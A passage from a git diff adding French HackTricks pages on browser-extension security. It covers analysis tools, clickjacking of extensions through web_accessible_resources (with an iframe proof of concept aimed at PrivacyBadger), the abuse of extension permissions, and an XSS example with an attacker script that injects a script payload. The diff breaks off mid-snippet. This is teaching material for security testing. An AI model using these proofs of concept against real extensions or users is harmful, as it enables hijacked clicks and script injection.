* **Analyse d'empreinte digitale** : Détection des [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) et génération automatique de JavaScript pour l'empreinte digitale des extensions Chrome.
|
||||
* **Analyse Potentielle de Clickjacking** : Détection des pages HTML d'extension avec la directive [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) définie. Celles-ci sont potentiellement vulnérables au clickjacking en fonction de l'objectif des pages.
|
||||
* **Visualiseur d'avertissements de permissions** : qui montre une liste de tous les avertissements de demande de permission de Chrome qui seront affichés lorsqu'un utilisateur tente d'installer l'extension.
|
||||
* **Fonctions Dangereuses** : montre l'emplacement des fonctions dangereuses qui pourraient potentiellement être exploitées par un attaquant (par exemple, des fonctions telles que innerHTML, chrome.tabs.executeScript).
|
||||
* **Points d'Entrée** : montre où l'extension prend des entrées utilisateur/externes. Cela est utile pour comprendre la surface d'attaque d'une extension et chercher des points potentiels pour envoyer des données malicieusement conçues à l'extension.
|
||||
* Les scanners de Fonctions Dangereuses et de Points d'Entrée ont les éléments suivants pour leurs alertes générées :
|
||||
* Extrait de code pertinent et ligne qui a causé l'alerte.
|
||||
* Description du problème.
|
||||
* Un bouton "Voir le fichier" pour visualiser le fichier source complet contenant le code.
|
||||
* Le chemin du fichier alerté.
|
||||
* L'URI complet de l'extension Chrome du fichier alerté.
|
||||
* Le type de fichier, tel qu'un script de Page d'Arrière-plan, Script de Contenu, Action de Navigateur, etc.
|
||||
* Si la ligne vulnérable se trouve dans un fichier JavaScript, les chemins de toutes les pages où il est inclus ainsi que le type de ces pages, et le statut de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
|
||||
* **Analyseur de Politique de Sécurité de Contenu (CSP) et vérificateur de contournement** : Cela mettra en évidence les faiblesses dans le CSP de votre extension et éclairera également les moyens potentiels de contourner votre CSP en raison de CDNs autorisés, etc.
|
||||
* **Bibliothèques Vulnérables Connues** : Utilise [Retire.js](https://retirejs.github.io/retire.js/) pour vérifier toute utilisation de bibliothèques JavaScript connues pour être vulnérables.
|
||||
* Télécharger l'extension et les versions formatées.
|
||||
* Télécharger l'extension originale.
|
||||
* Télécharger une version embelli de l'extension (HTML et JavaScript automatiquement jolis).
|
||||
* Mise en cache automatique des résultats d'analyse, l'exécution d'une analyse d'extension prendra un bon moment la première fois que vous l'exécutez. Cependant, la deuxième fois, en supposant que l'extension n'ait pas été mise à jour, sera presque instantanée grâce à la mise en cache des résultats.
|
||||
* URLs de Rapport Partageables, liez facilement quelqu'un d'autre à un rapport d'extension généré par tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Le projet Neto est un package Python 3 conçu pour analyser et révéler les fonctionnalités cachées des plugins et extensions de navigateur pour des navigateurs bien connus tels que Firefox et Chrome. Il automatise le processus de décompression des fichiers empaquetés pour extraire ces fonctionnalités de ressources pertinentes dans une extension comme `manifest.json`, les dossiers de localisation ou les fichiers sources Javascript et HTML.
|
||||
|
||||
## Références
|
||||
|
||||
* **Merci à** [**@naivenom**](https://twitter.com/naivenom) **pour l'aide avec cette méthodologie**
|
||||
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
* [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||
* [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||||
* [https://help.passbolt.com/assets/files/PBL-02-report.pdf](https://help.passbolt.com/assets/files/PBL-02-report.pdf)
|
||||
* [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts)
|
||||
* [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages)
|
||||
* [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
|
@ -0,0 +1,114 @@
|
|||
# BrowExt - ClickJacking
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Cette page va exploiter une vulnérabilité ClickJacking dans une extension de navigateur.\
|
||||
Si vous ne savez pas ce qu'est le ClickJacking, consultez :
|
||||
|
||||
{% content-ref url="../clickjacking.md" %}
|
||||
[clickjacking.md](../clickjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Les extensions contiennent le fichier **`manifest.json`** et ce fichier JSON a un champ `web_accessible_resources`. Voici ce que [les documents Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) disent à ce sujet :
|
||||
|
||||
> Ces ressources seraient alors disponibles dans une page web via l'URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, qui peut être générée avec la méthode **`extension.getURL`**. Les ressources de la liste blanche sont servies avec les en-têtes CORS appropriés, de sorte qu'elles sont disponibles via des mécanismes comme XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||
|
||||
En plus d'être accessibles sur le web, les ressources dans le **`web_accessible_resources`** fonctionnent avec l'autorité ambiante de l'extension : elles peuvent modifier l'état, charger d'autres ressources et modifier le navigateur de certaines manières. Si un document dans `web_accessible_resources` peut effectuer un comportement intéressant, un attaquant peut l'intégrer dans une page web et tromper les visiteurs pour qu'ils le déclenchent.
|
||||
|
||||
## Exemple de PrivacyBadger
|
||||
|
||||
Il a été découvert que dans l'extension PrivacyBadger, le contenu du répertoire `skin/` était des `web_accessible_resources` :
|
||||
```json
|
||||
"web_accessible_resources": [
|
||||
"skin/*",
|
||||
"icons/*"
|
||||
]
|
||||
```
|
||||
En chargeant `skin/popup.html`, le document qui est rendu lorsque vous cliquez sur l'icône PrivacyBadger dans le navigateur, **dans une iframe nous pourrions tromper l'utilisateur en cliquant sur "Désactiver PrivacyBadger pour ce site Web"**, exposant ainsi l'utilisateur à un suivi supplémentaire et compromettant la fonction de PrivacyBadger. **Vérifiez l'exemple de vidéo ClickJacking dans** [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)
|
||||
|
||||
La correction était simple : **retirer `/skin/*` des `web_accessible_resources`**.
|
||||
|
||||
### PoC
|
||||
```html
|
||||
<style>
|
||||
iframe {
|
||||
width: 430px;
|
||||
height: 300px;
|
||||
opacity: 0.01;
|
||||
float: top;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
#stuff {
|
||||
float: top;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
button {
|
||||
float: top;
|
||||
position: absolute;
|
||||
top: 168px;
|
||||
left: 100px;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<div id="stuff">
|
||||
<h1>
|
||||
Click the button
|
||||
</h1>
|
||||
<button id="button">
|
||||
click me
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||||
</iframe>
|
||||
```
|
||||
## Exemple Metamask
|
||||
|
||||
Un [**article de blog sur un ClickJacking dans Metamask peut être trouvé ici**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Dans ce cas, Metamask a corrigé la vulnérabilité en vérifiant que le protocole utilisé pour y accéder était **`https:`** ou **`http:`** (et non **`chrome:`** par exemple) :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Un autre ClickJacking corrigé** dans l'extension Metamask était que les utilisateurs pouvaient **Cliquer pour ajouter à la liste blanche** lorsqu'une page était suspecte d'être du phishing à cause de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en affichant quelque chose de normal pour faire cliquer la victime pour l'ajouter à la liste blanche sans s'en rendre compte, puis revenir à la page de phishing qui serait alors ajoutée à la liste blanche.
|
||||
|
||||
## Exemple Steam Inventory Helper
|
||||
|
||||
Consultez la page suivante pour vérifier comment un **XSS** dans une extension de navigateur a été combiné avec une vulnérabilité de **ClickJacking** :
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Références
|
||||
|
||||
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,141 @@
|
|||
# BrowExt - permissions & host\_permissions
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
### **`permissions`**
|
||||
|
||||
Les permissions sont définies dans le fichier **`manifest.json`** de l'extension en utilisant la propriété **`permissions`** et permettent l'accès à presque tout ce à quoi un navigateur peut accéder (Cookies ou Stockage Physique) :
|
||||
|
||||
Le manifeste précédent déclare que l'extension nécessite la permission `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux API `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage de l'extension ne peut normalement être effacé qu'en désinstallant l'extension**.
|
||||
|
||||
Une extension demandera les permissions indiquées dans son fichier **`manifest.json`** et après l'installation de l'extension, vous pouvez **toujours vérifier ses permissions dans votre navigateur**, comme le montre cette image :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vous pouvez trouver la [**liste complète des permissions qu'une Extension de Navigateur Chromium peut demander ici**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) et une [**liste complète pour les extensions Firefox ici**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.**
|
||||
|
||||
### `host_permissions`
|
||||
|
||||
Le paramètre optionnel mais puissant **`host_permissions`** indique avec quels hôtes l'extension va pouvoir interagir via des apis telles que [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), et [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
|
||||
|
||||
Les `host_permissions` suivants permettent essentiellement à tous les web :
|
||||
```json
|
||||
"host_permissions": [
|
||||
"*://*/*"
|
||||
]
|
||||
|
||||
// Or:
|
||||
"host_permissions": [
|
||||
"http://*/*",
|
||||
"https://*/*"
|
||||
]
|
||||
|
||||
// Or:
|
||||
"host_permissions": [
|
||||
"<all_urls>"
|
||||
]
|
||||
```
|
||||
Ces hôtes sont ceux auxquels l'extension de navigateur peut accéder librement. C'est parce que lorsqu'une extension de navigateur appelle **`fetch("https://gmail.com/")`**, elle n'est pas restreinte par CORS.
|
||||
|
||||
## Abuser des `permissions` et `host_permissions`
|
||||
|
||||
### Onglets
|
||||
|
||||
De plus, **`host_permissions`** débloquent également des fonctionnalités avancées de l'[**API des onglets**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Elles permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et d'obtenir non seulement une **liste des onglets du navigateur de l'utilisateur** mais aussi de savoir quelle **page web (c'est-à-dire adresse et titre) est chargée**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Non seulement cela, des écouteurs comme [**tabs.onUpdated**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **deviennent également beaucoup plus utiles**. Ils seront notifiés chaque fois qu'une nouvelle page se charge dans un onglet.
|
||||
{% endhint %}
|
||||
|
||||
### Exécuter des scripts de contenu <a href="#running-content-scripts" id="running-content-scripts"></a>
|
||||
|
||||
Les scripts de contenu ne sont pas nécessairement écrits de manière statique dans le manifeste de l'extension. Avec suffisamment de **`host_permissions`**, **les extensions peuvent également les charger dynamiquement en appelant** [**tabs.executeScript()**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
|
||||
|
||||
Ces deux API permettent d'exécuter non seulement des fichiers contenus dans les extensions en tant que scripts de contenu, mais aussi du **code arbitraire**. La première permet de passer du code JavaScript sous forme de chaîne de caractères tandis que la seconde attend une fonction JavaScript, ce qui est moins sujet aux vulnérabilités d'injection. Néanmoins, les deux API peuvent causer des ravages si elles sont mal utilisées.
|
||||
|
||||
{% hint style="danger" %}
|
||||
En plus des capacités ci-dessus, les scripts de contenu pourraient par exemple **intercepter des identifiants** au fur et à mesure de leur saisie sur des pages web. Une autre manière classique de les abuser est **d'injecter de la publicité** sur chaque site web. Ajouter des **messages d'escroquerie** pour abuser de la crédibilité des sites d'informations est également possible. Enfin, ils pourraient **manipuler des sites bancaires** pour détourner des transferts d'argent.
|
||||
{% endhint %}
|
||||
|
||||
### Privilèges implicites <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||
|
||||
Certains privilèges d'extension **n'ont pas besoin d'être déclarés explicitement**. Un exemple est l'[API des onglets](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs) : ses fonctionnalités de base sont accessibles sans aucun privilège. Toute extension peut être notifiée lorsque vous ouvrez et fermez des onglets, elle ne saura simplement pas à quel site web ces onglets correspondent.
|
||||
|
||||
Cela semble trop inoffensif ? L'API [tabs.create()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) l'est un peu moins. Elle peut être utilisée pour **créer un nouvel onglet**, essentiellement la même chose que [window.open()](https://developer.mozilla.org/fr/docs/Web/API/Window/open) qui peut être appelé par n'importe quel site web. Pourtant, alors que `window.open()` est soumis au **bloqueur de pop-up, `tabs.create()` ne l'est pas**. 
|
||||
|
||||
{% hint style="danger" %}
|
||||
Une extension peut créer autant d'onglets qu'elle le souhaite, quand elle le veut.
|
||||
{% endhint %}
|
||||
|
||||
Si vous examinez les paramètres possibles de `tabs.create()`, vous remarquerez également que ses capacités vont bien au-delà de ce que `window.open()` est autorisé à contrôler. Et tandis que Firefox n'autorise pas l'utilisation d'URI `data:` avec cette API, Chrome n'a pas une telle protection. **L'utilisation de telles URI au niveau supérieur a été** [**interdite en raison de leur utilisation pour le phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
|
||||
|
||||
[**tabs.update()**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) est très similaire à `tabs.create()` mais va **modifier un onglet existant**. Ainsi, une extension malveillante peut par exemple charger arbitrairement une page de publicité dans l'un de vos onglets, et elle peut également activer l'onglet correspondant.
|
||||
|
||||
### Webcam, géolocalisation et amis <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
|
||||
Vous savez probablement que les sites web peuvent demander des permissions spéciales, par exemple pour accéder à votre webcam (outils de vidéoconférence) ou à votre position géographique (cartes). Ce sont des fonctionnalités avec un potentiel considérable d'abus, donc les utilisateurs doivent chaque fois confirmer qu'ils veulent toujours cela.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Pas avec les extensions de navigateur. **Si une extension de navigateur** [**veut accéder à votre webcam ou à votre microphone**](https://developer.mozilla.org/fr/docs/Web/API/MediaDevices/getUserMedia)**, elle n'a besoin de demander la permission qu'une seule fois**
|
||||
{% endhint %}
|
||||
|
||||
Typiquement, une extension le fera immédiatement après son installation. Une fois cette invite acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette invite que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, ils doivent faire confiance à l'extension pour ne rien enregistrer secrètement.
|
||||
|
||||
Avec l'accès à [votre position géographique exacte](https://developer.mozilla.org/fr/docs/Web/API/Geolocation) ou [au contenu de votre presse-papiers](https://developer.mozilla.org/fr/docs/Web/API/Clipboard_API), accorder la permission explicitement est inutile. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'entrée** [**permissions**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont alors accordés implicitement lors de l'installation de l'extension. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de mouvement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez rien.
|
||||
|
||||
Ajouter le mot-clé **`history`** à l'entrée [permissions](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API de l'historique**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/history). Elle permet de récupérer l'intégralité de l'historique de navigation de l'utilisateur en une seule fois, sans attendre que l'utilisateur visite à nouveau ces sites web.
|
||||
|
||||
La **permission `bookmarks`** a un potentiel d'abus similaire, elle permet **de lire tous les favoris via l'** [**API des favoris**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
|
||||
|
||||
### Permission de stockage <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||
|
||||
Le stockage de l'extension est simplement une collection clé-valeur, très similaire à [localStorage](https://developer.mozilla.org/fr/docs/Web/API/Window/localStorage) que n'importe quel site web pourrait utiliser. Donc, aucune information sensible ne devrait y être stockée.
|
||||
|
||||
Cependant, les entreprises de publicité pourraient également abuser de ce stockage.
|
||||
|
||||
### Plus de permissions
|
||||
|
||||
Vous pouvez trouver la [**liste complète des permissions qu'une Extension de Navigateur Chromium peut demander ici**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) et une [**liste complète pour les extensions Firefox ici**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
|
||||
|
||||
## Prévention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
Les politiques de développement de Google [interdisent explicitement](https://developer.chrome.com/docs/webstore/program_policies/#permissions) de demander plus de privilèges que nécessaire pour que l'extension fonctionne. D'après mon expérience, cette règle fonctionne en fait. Je ne peux penser qu'à un cas où une extension de navigateur [a demandé trop de privilèges](https://palant.info/2020/01/13/pwning-avast-secure-browser-for-fun-and-profit/#selecting-a-target), et cette extension particulière était distribuée avec le navigateur plutôt que via une boutique d'add-ons.
|
||||
|
||||
Dans certains cas, les navigateurs pourraient mieux faire pour **limiter le potentiel d'abus** des privilèges d'extension. Par exemple, Chrome permet l'enregistrement d'écran via les API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) ou [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/). Le potentiel d'abus est faible car le premier ne peut être démarré qu'en **réponse à une action de l'utilisateur** (généralement en cliquant sur l'icône de l'extension) tandis que le second affiche une invite pour sélectionner la fenêtre de l'application à enregistrer. Les deux sont suffisants pour empêcher les extensions de commencer à enregistrer en arrière-plan en silence.
|
||||
|
||||
Cependant, de telles améliorations de sécurité ont tendance à rendre les extensions **moins flexibles et moins conviviales**. Un bon exemple ici est la [permission activeTab](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission). Son but est de rendre inutile la demande de privilèges d'hôte pour l'ensemble d'internet. Au lieu de cela, **l'extension peut accéder à l'onglet actuel lorsque l'extension est explicitement activée**, généralement en cliquant sur son icône.
|
||||
|
||||
Cette approche fonctionne bien pour certaines extensions, en particulier celles où l'utilisateur doit déclencher explicitement une action. Elle **ne fonctionne pas dans des scénarios où les extensions doivent effectuer leur travail automatiquement** cependant (ce qui signifie être plus pratique pour l'utilisateur) ou lorsque l'action de l'extension ne peut pas être exécutée immédiatement et nécessite une préparation.
|
||||
|
||||
## **Références**
|
||||
|
||||
* [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
|
||||
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,135 @@
|
|||
# BrowExt - Exemple de XSS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## XSS sur Iframe
|
||||
|
||||
Le **Content script** crée un Iframe indiquant une **URL dans les paramètres de la source de l'iFrame** :
|
||||
```javascript
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
frame.src = chrome.runtime.getURL("message.html") +
|
||||
"?message=" + encodeURIComponent(result.message) +
|
||||
"&url=https://example.net/explanation";
|
||||
});
|
||||
```
|
||||
Une page html exposée : **`message.html`**, accessible depuis le **navigateur**, contient un code tel que :
|
||||
```java
|
||||
$(() =>
|
||||
{
|
||||
let params = new URLSearchParams(location.search);
|
||||
$(document.body).append(params.get("message") + " <button>Explain</button>");
|
||||
$("body > button").click(() =>
|
||||
{
|
||||
chrome.tabs.create({ url: params.get("url") });
|
||||
});
|
||||
});
|
||||
```
|
||||
La page malveillante exécute un script comme le suivant pour changer le message pour un **XSS payload** :
|
||||
```javascript
|
||||
setTimeout(() =>
|
||||
{
|
||||
let frame = document.querySelector("iframe:last-child");
|
||||
let src = frame.src;
|
||||
|
||||
// Remove existing query parameters
|
||||
src = src.replace(/\?.*/, "");
|
||||
|
||||
// Add malicious query parameters
|
||||
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
|
||||
|
||||
// Load into frame
|
||||
frame.src = src;
|
||||
}, 1000);
|
||||
```
|
||||
Une politique de sécurité de contenu permissive comme 
|
||||
```json
|
||||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||||
```
|
||||
permettra l'exécution du code JS.
|
||||
|
||||
Une autre manière de déclencher le XSS à volonté consiste à exécuter :
|
||||
```javascript
|
||||
let frame = document.createElement("iframe");
|
||||
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
|
||||
